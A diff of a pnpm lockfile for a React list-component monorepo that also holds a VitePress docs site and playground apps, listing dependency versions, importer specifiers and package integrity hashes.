'@rollup/rollup-freebsd-x64': 4.53.3 - '@rollup/rollup-linux-arm-gnueabihf': 4.53.3 - '@rollup/rollup-linux-arm-musleabihf': 4.53.3 - '@rollup/rollup-linux-arm64-gnu': 4.53.3 - '@rollup/rollup-linux-arm64-musl': 4.53.3 - '@rollup/rollup-linux-loong64-gnu': 4.53.3 - '@rollup/rollup-linux-ppc64-gnu': 4.53.3 - '@rollup/rollup-linux-riscv64-gnu': 4.53.3 - '@rollup/rollup-linux-riscv64-musl': 4.53.3 - '@rollup/rollup-linux-s390x-gnu': 4.53.3 - '@rollup/rollup-linux-x64-gnu': 4.53.3 - '@rollup/rollup-linux-x64-musl': 4.53.3 - '@rollup/rollup-openharmony-arm64': 4.53.3 - '@rollup/rollup-win32-arm64-msvc': 4.53.3 - '@rollup/rollup-win32-ia32-msvc': 4.53.3 - '@rollup/rollup-win32-x64-gnu': 4.53.3 - '@rollup/rollup-win32-x64-msvc': 4.53.3 - fsevents: 2.3.3 - - scheduler@0.26.0: {} - - semver@6.3.1: {} - - shebang-command@2.0.0: - dependencies: - shebang-regex: 3.0.0 - - shebang-regex@3.0.0: {} - - shiki@3.20.0: - dependencies: - '@shikijs/core': 3.20.0 - '@shikijs/engine-javascript': 3.20.0 - '@shikijs/engine-oniguruma': 3.20.0 - '@shikijs/langs': 3.20.0 - '@shikijs/themes': 3.20.0 - '@shikijs/types': 3.20.0 - '@shikijs/vscode-textmate': 10.0.2 - '@types/hast': 3.0.4 - - source-map-js@1.2.1: {} - - space-separated-tokens@2.0.2: {} - - speakingurl@14.0.1: {} - - stringify-entities@4.0.4: - dependencies: - character-entities-html4: 2.1.0 - character-entities-legacy: 3.0.0 - - strip-json-comments@3.1.1: {} - - superjson@2.2.6: - dependencies: - copy-anything: 4.0.5 - - supports-color@7.2.0: - dependencies: - has-flag: 4.0.0 - - tabbable@6.3.0: {} - - tailwindcss@4.2.2: {} - - tapable@2.3.0: {} - - tinyglobby@0.2.13: - dependencies: - fdir: 6.4.4(picomatch@4.0.2) - picomatch: 4.0.2 - - tinyglobby@0.2.15: - dependencies: - fdir: 6.5.0(picomatch@4.0.3) - picomatch: 4.0.3 - - trim-lines@3.0.1: {} - - type-check@0.4.0: - dependencies: - prelude-ls: 1.2.1 - - typescript@5.9.3: {} - - unist-util-is@6.0.1: - dependencies: - '@types/unist': 3.0.3 - - unist-util-position@5.0.0: - dependencies: - '@types/unist': 3.0.3 - - unist-util-stringify-position@4.0.0: - dependencies: - '@types/unist': 3.0.3 - - unist-util-visit-parents@6.0.2: - dependencies: - '@types/unist': 3.0.3 - unist-util-is: 6.0.1 - - unist-util-visit@5.0.0: - dependencies: - '@types/unist': 3.0.3 - unist-util-is: 6.0.1 - unist-util-visit-parents: 6.0.2 - - update-browserslist-db@1.1.3(browserslist@4.24.4): - dependencies: - browserslist: 4.24.4 - escalade: 3.2.0 - picocolors: 1.1.1 - - update-browserslist-db@1.2.3(browserslist@4.28.1): - dependencies: - browserslist: 4.28.1 - escalade: 3.2.0 - picocolors: 1.1.1 - - uri-js@4.4.1: - dependencies: - punycode: 2.3.1 - - vfile-message@4.0.3: - dependencies: - '@types/unist': 3.0.3 - unist-util-stringify-position: 4.0.0 - - vfile@6.0.3: - dependencies: - '@types/unist': 3.0.3 - vfile-message: 4.0.3 - - vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0): - dependencies: - esbuild: 0.25.3 - fdir: 6.4.4(picomatch@4.0.2) - picomatch: 4.0.2 - postcss: 8.5.8 - rollup: 4.40.0 - tinyglobby: 0.2.13 - optionalDependencies: - fsevents: 2.3.3 - jiti: 2.6.1 - lightningcss: 1.32.0 - - vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0): - dependencies: - esbuild: 0.25.3 - fdir: 6.5.0(picomatch@4.0.3) - picomatch: 4.0.3 - postcss: 8.5.8 - rollup: 4.53.3 - tinyglobby: 0.2.15 - optionalDependencies: - fsevents: 2.3.3 - jiti: 2.6.1 - lightningcss: 1.32.0 - - vitepress@2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3): - dependencies: - '@docsearch/css': 4.3.2 - '@docsearch/js': 4.3.2 - '@iconify-json/simple-icons': 1.2.62 - '@shikijs/core': 3.20.0 - '@shikijs/transformers': 3.20.0 - '@shikijs/types': 3.20.0 - '@types/markdown-it': 14.1.2 - '@vitejs/plugin-vue': 6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3)) - '@vue/devtools-api': 8.0.5 - '@vue/shared': 3.5.25 - '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) - '@vueuse/integrations': 14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3)) - focus-trap: 7.6.6 - mark.js: 8.11.1 - minisearch: 7.2.0 - shiki: 3.20.0 - vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) - vue: 3.5.25(typescript@5.9.3) - optionalDependencies: - postcss: 8.5.8 - transitivePeerDependencies: - - '@types/node' - - async-validator - - axios - - change-case - - drauu - - fuse.js - - idb-keyval - - jiti - - jwt-decode - - less - - lightningcss - - nprogress - - qrcode - - sass - - sass-embedded - - sortablejs - - stylus - - sugarss - - terser - - tsx - - typescript - - universal-cookie - - yaml - - vue@3.5.25(typescript@5.9.3): - dependencies: - '@vue/compiler-dom': 3.5.25 - '@vue/compiler-sfc': 3.5.25 - '@vue/runtime-dom': 3.5.25 - '@vue/server-renderer': 3.5.25(vue@3.5.25(typescript@5.9.3)) - '@vue/shared': 3.5.25 - optionalDependencies: - typescript: 5.9.3 - - which@2.0.2: - dependencies: - isexe: 2.0.0 - - word-wrap@1.2.5: {} - - yallist@3.1.1: {} - - yocto-queue@0.1.0: {} - - zwitch@2.0.4: {} +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +importers: + + .: {} + + apps/docs: + devDependencies: + vitepress: + specifier: ^2.0.0-alpha.15 + version: 2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3) + + apps/playground: + dependencies: + '@7span/react-list': + specifier: workspace:* + version: link:../../packages/react-list + '@iconify/react': + specifier: ^5.2.1 + version: 5.2.1(react@19.1.0) + axios: + specifier: 1.11.0 + version: 1.11.0 + react: + specifier: ^19.0.0 + version: 19.1.0 + react-dom: + specifier: ^19.0.0 + version: 19.1.0(react@19.1.0) + devDependencies: + '@eslint/js': + specifier: ^9.22.0 + version: 9.25.1 + '@tailwindcss/postcss': + specifier: ^4.2.2 + version: 4.2.2 + '@types/react': + specifier: ^19.0.10 + version: 19.1.2 + '@types/react-dom': + specifier: ^19.0.4 + version: 19.1.2(@types/react@19.1.2) + '@vitejs/plugin-react': + specifier: ^4.3.4 + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + autoprefixer: + specifier: ^10.4.27 + version: 10.4.27(postcss@8.5.8) + eslint: + specifier: ^9.22.0 + version: 9.25.1(jiti@2.6.1) + eslint-plugin-react-hooks: + specifier: ^5.2.0 + version: 5.2.0(eslint@9.25.1(jiti@2.6.1)) + eslint-plugin-react-refresh: + specifier: ^0.4.19 + version: 0.4.20(eslint@9.25.1(jiti@2.6.1)) + globals: + specifier: ^16.0.0 + version: 16.0.0 + postcss: + specifier: ^8.5.8 + version: 8.5.8 + tailwindcss: + specifier: ^4.2.2 + version: 4.2.2 + vite: + specifier: ^6.3.1 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + + apps/playground-typescript: + dependencies: + '@7span/react-list': + specifier: workspace:* + version: link:../../packages/react-list + '@iconify/react': + specifier: ^5.2.1 + version: 5.2.1(react@19.1.0) + react: + specifier: ^19.0.0 + version: 19.1.0 + react-dom: + specifier: ^19.0.0 + version: 19.1.0(react@19.1.0) + devDependencies: + '@tailwindcss/postcss': + specifier: ^4.2.2 + version: 4.2.2 + '@types/react': + specifier: ^19.0.10 + version: 19.2.14 + '@types/react-dom': + specifier: ^19.0.4 + version: 19.2.3(@types/react@19.2.14) + '@vitejs/plugin-react': + specifier: ^4.3.4 + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + autoprefixer: + specifier: ^10.4.27 + version: 10.4.27(postcss@8.5.8) + postcss: + specifier: ^8.5.8 + version: 8.5.8 + tailwindcss: + specifier: ^4.2.2 + version: 4.2.2 + typescript: + specifier: ^5.9.3 + version: 5.9.3 + vite: + specifier: ^6.3.1 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + + packages/react-list: + dependencies: + react: + specifier: ^18.2.0 || ^19.0.0 + version: 19.1.0 + react-dom: + specifier: ^18.2.0 || ^19.0.0 + version: 19.1.0(react@19.1.0) + devDependencies: + '@types/react': + specifier: ^19.1.13 + version: 19.2.14 + '@types/react-dom': + specifier: ^19.1.9 + version: 19.2.3(@types/react@19.2.14) + '@vitejs/plugin-react': + specifier: ^4.3.4 + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + typescript: + specifier: ^5.9.3 + version: 5.9.3 + vite: + specifier: ^6.3.1 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + +packages: + + '@alloc/quick-lru@5.2.0': + resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} + engines: {node: '>=10'} + + '@ampproject/remapping@2.3.0': + resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} + engines: {node: '>=6.0.0'} + + '@babel/code-frame@7.26.2': + resolution: {integrity: sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==} + engines: {node: '>=6.9.0'} + + '@babel/compat-data@7.26.8': + resolution: {integrity: sha512-oH5UPLMWR3L2wEFLnFJ1TZXqHufiTKAiLfqw5zkhS4dKXLJ10yVztfil/twG8EDTA4F/tvVNw9nOl4ZMslB8rQ==} + engines: {node: '>=6.9.0'} + + '@babel/core@7.26.10': + resolution: {integrity: sha512-vMqyb7XCDMPvJFFOaT9kxtiRh42GwlZEg1/uIgtZshS5a/8OaduUfCi7kynKgc3Tw/6Uo2D+db9qBttghhmxwQ==} + engines: {node: '>=6.9.0'} + + '@babel/generator@7.27.0': + resolution: {integrity: sha512-VybsKvpiN1gU1sdMZIp7FcqphVVKEwcuj02x73uvcHE0PTihx1nlBcowYWhDwjpoAXRv43+gDzyggGnn1XZhVw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-compilation-targets@7.27.0': + resolution: {integrity: sha512-LVk7fbXml0H2xH34dFzKQ7TDZ2G4/rVTOrq9V+icbbadjbVxxeFeDsNHv2SrZeWoA+6ZiTyWYWtScEIW07EAcA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-imports@7.25.9': + resolution: {integrity: sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-transforms@7.26.0': + resolution: {integrity: sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-plugin-utils@7.26.5': + resolution: {integrity: sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==} + engines: {node: '>=6.9.0'} + + '@babel/helper-string-parser@7.25.9': + resolution: {integrity: sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-string-parser@7.27.1': + resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.25.9': + resolution: {integrity: sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.28.5': + resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-option@7.25.9': + resolution: {integrity: sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==} + engines: {node: '>=6.9.0'} + + '@babel/helpers@7.27.0': + resolution: {integrity: sha512-U5eyP/CTFPuNE3qk+WZMxFkp/4zUzdceQlfzf7DdGdhp+Fezd7HD+i8Y24ZuTMKX3wQBld449jijbGq6OdGNQg==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.27.0': + resolution: {integrity: sha512-iaepho73/2Pz7w2eMS0Q5f83+0RKI7i4xmiYeBmDzfRVbQtTOG7Ts0S4HzJVsTMGI9keU8rNfuZr8DKfSt7Yyg==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/parser@7.28.5': + resolution: {integrity: sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/plugin-transform-react-jsx-self@7.25.9': + resolution: {integrity: sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-jsx-source@7.25.9': + resolution: {integrity: sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/template@7.27.0': + resolution: {integrity: sha512-2ncevenBqXI6qRMukPlXwHKHchC7RyMuu4xv5JBXRfOGVcTy1mXCD12qrp7Jsoxll1EV3+9sE4GugBVRjT2jFA==} + engines: {node: '>=6.9.0'} + + '@babel/traverse@7.27.0': + resolution: {integrity: sha512-19lYZFzYVQkkHkl4Cy4WrAVcqBkgvV2YM2TU3xG6DIwO7O3ecbDPfW3yM3bjAGcqcQHi+CCtjMR3dIEHxsd6bA==} + engines: {node: '>=6.9.0'} + + '@babel/types@7.27.0': + resolution: {integrity: sha512-H45s8fVLYjbhFH62dIJ3WtmJ6RSPt/3DRO0ZcT2SUiYiQyz3BLVb9ADEnLl91m74aQPS3AzzeajZHYOalWe3bg==} + engines: {node: '>=6.9.0'} + + '@babel/types@7.28.5': + resolution: {integrity: sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==} + engines: {node: '>=6.9.0'} + + '@docsearch/css@4.3.2': + resolution: {integrity: sha512-K3Yhay9MgkBjJJ0WEL5MxnACModX9xuNt3UlQQkDEDZJZ0+aeWKtOkxHNndMRkMBnHdYvQjxkm6mdlneOtU1IQ==} + + '@docsearch/js@4.3.2': + resolution: {integrity: sha512-xdfpPXMgKRY9EW7U1vtY7gLKbLZFa9ed+t0Dacquq8zXBqAlH9HlUf0h4Mhxm0xatsVeMaIR2wr/u6g0GsZyQw==} + + '@esbuild/aix-ppc64@0.25.3': + resolution: {integrity: sha512-W8bFfPA8DowP8l//sxjJLSLkD8iEjMc7cBVyP+u4cEv9sM7mdUCkgsj+t0n/BWPFtv7WWCN5Yzj0N6FJNUUqBQ==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [aix] + + '@esbuild/android-arm64@0.25.3': + resolution: {integrity: sha512-XelR6MzjlZuBM4f5z2IQHK6LkK34Cvv6Rj2EntER3lwCBFdg6h2lKbtRjpTTsdEjD/WSe1q8UyPBXP1x3i/wYQ==} + engines: {node: '>=18'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.25.3': + resolution: {integrity: sha512-PuwVXbnP87Tcff5I9ngV0lmiSu40xw1At6i3GsU77U7cjDDB4s0X2cyFuBiDa1SBk9DnvWwnGvVaGBqoFWPb7A==} + engines: {node: '>=18'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.25.3': + resolution: {integrity: sha512-ogtTpYHT/g1GWS/zKM0cc/tIebFjm1F9Aw1boQ2Y0eUQ+J89d0jFY//s9ei9jVIlkYi8AfOjiixcLJSGNSOAdQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.25.3': + resolution: {integrity: sha512-eESK5yfPNTqpAmDfFWNsOhmIOaQA59tAcF/EfYvo5/QWQCzXn5iUSOnqt3ra3UdzBv073ykTtmeLJZGt3HhA+w==} + engines: {node: '>=18'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.25.3': + resolution: {integrity: sha512-Kd8glo7sIZtwOLcPbW0yLpKmBNWMANZhrC1r6K++uDR2zyzb6AeOYtI6udbtabmQpFaxJ8uduXMAo1gs5ozz8A==} + engines: {node: '>=18'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.25.3': + resolution: {integrity: sha512-EJiyS70BYybOBpJth3M0KLOus0n+RRMKTYzhYhFeMwp7e/RaajXvP+BWlmEXNk6uk+KAu46j/kaQzr6au+JcIw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.25.3': + resolution: {integrity: sha512-Q+wSjaLpGxYf7zC0kL0nDlhsfuFkoN+EXrx2KSB33RhinWzejOd6AvgmP5JbkgXKmjhmpfgKZq24pneodYqE8Q==} + engines: {node: '>=18'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.25.3': + resolution: {integrity: sha512-xCUgnNYhRD5bb1C1nqrDV1PfkwgbswTTBRbAd8aH5PhYzikdf/ddtsYyMXFfGSsb/6t6QaPSzxtbfAZr9uox4A==} + engines: {node: '>=18'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.25.3': + resolution: {integrity: sha512-dUOVmAUzuHy2ZOKIHIKHCm58HKzFqd+puLaS424h6I85GlSDRZIA5ycBixb3mFgM0Jdh+ZOSB6KptX30DD8YOQ==} + engines: {node: '>=18'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.25.3': + resolution: {integrity: sha512-yplPOpczHOO4jTYKmuYuANI3WhvIPSVANGcNUeMlxH4twz/TeXuzEP41tGKNGWJjuMhotpGabeFYGAOU2ummBw==} + engines: {node: '>=18'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.25.3': + resolution: {integrity: sha512-P4BLP5/fjyihmXCELRGrLd793q/lBtKMQl8ARGpDxgzgIKJDRJ/u4r1A/HgpBpKpKZelGct2PGI4T+axcedf6g==} + engines: {node: '>=18'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.25.3': + resolution: {integrity: sha512-eRAOV2ODpu6P5divMEMa26RRqb2yUoYsuQQOuFUexUoQndm4MdpXXDBbUoKIc0iPa4aCO7gIhtnYomkn2x+bag==} + engines: {node: '>=18'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.25.3': + resolution: {integrity: sha512-ZC4jV2p7VbzTlnl8nZKLcBkfzIf4Yad1SJM4ZMKYnJqZFD4rTI+pBG65u8ev4jk3/MPwY9DvGn50wi3uhdaghg==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.25.3': + resolution: {integrity: sha512-LDDODcFzNtECTrUUbVCs6j9/bDVqy7DDRsuIXJg6so+mFksgwG7ZVnTruYi5V+z3eE5y+BJZw7VvUadkbfg7QA==} + engines: {node: '>=18'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.25.3': + resolution: {integrity: sha512-s+w/NOY2k0yC2p9SLen+ymflgcpRkvwwa02fqmAwhBRI3SC12uiS10edHHXlVWwfAagYSY5UpmT/zISXPMW3tQ==} + engines: {node: '>=18'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.25.3': + resolution: {integrity: sha512-nQHDz4pXjSDC6UfOE1Fw9Q8d6GCAd9KdvMZpfVGWSJztYCarRgSDfOVBY5xwhQXseiyxapkiSJi/5/ja8mRFFA==} + engines: {node: '>=18'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-arm64@0.25.3': + resolution: {integrity: sha512-1QaLtOWq0mzK6tzzp0jRN3eccmN3hezey7mhLnzC6oNlJoUJz4nym5ZD7mDnS/LZQgkrhEbEiTn515lPeLpgWA==} + engines: {node: '>=18'} + cpu: [arm64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.25.3': + resolution: {integrity: sha512-i5Hm68HXHdgv8wkrt+10Bc50zM0/eonPb/a/OFVfB6Qvpiirco5gBA5bz7S2SHuU+Y4LWn/zehzNX14Sp4r27g==} + engines: {node: '>=18'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-arm64@0.25.3': + resolution: {integrity: sha512-zGAVApJEYTbOC6H/3QBr2mq3upG/LBEXr85/pTtKiv2IXcgKV0RT0QA/hSXZqSvLEpXeIxah7LczB4lkiYhTAQ==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.25.3': + resolution: {integrity: sha512-fpqctI45NnCIDKBH5AXQBsD0NDPbEFczK98hk/aa6HJxbl+UtLkJV2+Bvy5hLSLk3LHmqt0NTkKNso1A9y1a4w==} + engines: {node: '>=18'} + cpu: [x64] + os: [openbsd] + + '@esbuild/sunos-x64@0.25.3': + resolution: {integrity: sha512-ROJhm7d8bk9dMCUZjkS8fgzsPAZEjtRJqCAmVgB0gMrvG7hfmPmz9k1rwO4jSiblFjYmNvbECL9uhaPzONMfgA==} + engines: {node: '>=18'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.25.3': + resolution: {integrity: sha512-YWcow8peiHpNBiIXHwaswPnAXLsLVygFwCB3A7Bh5jRkIBFWHGmNQ48AlX4xDvQNoMZlPYzjVOQDYEzWCqufMQ==} + engines: {node: '>=18'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.25.3': + resolution: {integrity: sha512-qspTZOIGoXVS4DpNqUYUs9UxVb04khS1Degaw/MnfMe7goQ3lTfQ13Vw4qY/Nj0979BGvMRpAYbs/BAxEvU8ew==} + engines: {node: '>=18'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.25.3': + resolution: {integrity: sha512-ICgUR+kPimx0vvRzf+N/7L7tVSQeE3BYY+NhHRHXS1kBuPO7z2+7ea2HbhDyZdTephgvNvKrlDDKUexuCVBVvg==} + engines: {node: '>=18'} + cpu: [x64] + os: [win32] + + '@eslint-community/eslint-utils@4.6.1': + resolution: {integrity: sha512-KTsJMmobmbrFLe3LDh0PC2FXpcSYJt/MLjlkh/9LEnmKYLSYmT/0EW9JWANjeoemiuZrmogti0tW5Ch+qNUYDw==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 + + '@eslint-community/regexpp@4.12.1': + resolution: {integrity: sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==} + engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} + + '@eslint/config-array@0.20.0': + resolution: {integrity: sha512-fxlS1kkIjx8+vy2SjuCB94q3htSNrufYTXubwiBFeaQHbH6Ipi43gFJq2zCMt6PHhImH3Xmr0NksKDvchWlpQQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/config-helpers@0.2.1': + resolution: {integrity: sha512-RI17tsD2frtDu/3dmI7QRrD4bedNKPM08ziRYaC5AhkGrzIAJelm9kJU1TznK+apx6V+cqRz8tfpEeG3oIyjxw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/core@0.13.0': + resolution: {integrity: sha512-yfkgDw1KR66rkT5A8ci4irzDysN7FRpq3ttJolR88OqQikAWqwA8j5VZyas+vjyBNFIJ7MfybJ9plMILI2UrCw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/eslintrc@3.3.1': + resolution: {integrity: sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/js@9.25.1': + resolution: {integrity: sha512-dEIwmjntEx8u3Uvv+kr3PDeeArL8Hw07H9kyYxCjnM9pBjfEhk6uLXSchxxzgiwtRhhzVzqmUSDFBOi1TuZ7qg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/object-schema@2.1.6': + resolution: {integrity: sha512-RBMg5FRL0I0gs51M/guSAj5/e14VQ4tpZnQNWwuDT66P14I43ItmPfIZRhO9fUVIPOAQXU47atlywZ/czoqFPA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/plugin-kit@0.2.8': + resolution: {integrity: sha512-ZAoA40rNMPwSm+AeHpCq8STiNAwzWLJuP8Xv4CHIc9wv/PSuExjMrmjfYNj682vW0OOiZ1HKxzvjQr9XZIisQA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@humanfs/core@0.19.1': + resolution: {integrity: sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==} + engines: {node: '>=18.18.0'} + + '@humanfs/node@0.16.6': + resolution: {integrity: sha512-YuI2ZHQL78Q5HbhDiBA1X4LmYdXCKCMQIfw0pw7piHJwyREFebJUvrQN4cMssyES6x+vfUbx1CIpaQUKYdQZOw==} + engines: {node: '>=18.18.0'} + + '@humanwhocodes/module-importer@1.0.1': + resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==} + engines: {node: '>=12.22'} + + '@humanwhocodes/retry@0.3.1': + resolution: {integrity: sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA==} + engines: {node: '>=18.18'} + + '@humanwhocodes/retry@0.4.2': + resolution: {integrity: sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==} + engines: {node: '>=18.18'} + + '@iconify-json/simple-icons@1.2.62': + resolution: {integrity: sha512-GpWQ294d4lraB3D2eBSSMROh1x9uKgpmyereLlGzVQjGZ7lbeFzby2ywXxyp4vEODmTDyf1/4WcOYs/yH4rJ5Q==} + + '@iconify/react@5.2.1': + resolution: {integrity: sha512-37GDR3fYDZmnmUn9RagyaX+zca24jfVOMY8E1IXTqJuE8pxNtN51KWPQe3VODOWvuUurq7q9uUu3CFrpqj5Iqg==} + peerDependencies: + react: '>=16' + + '@iconify/types@2.0.0': + resolution: {integrity: sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg==} + + '@jridgewell/gen-mapping@0.3.8': + resolution: {integrity: sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==} + engines: {node: '>=6.0.0'} + + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/set-array@1.2.1': + resolution: {integrity: sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==} + engines: {node: '>=6.0.0'} + + 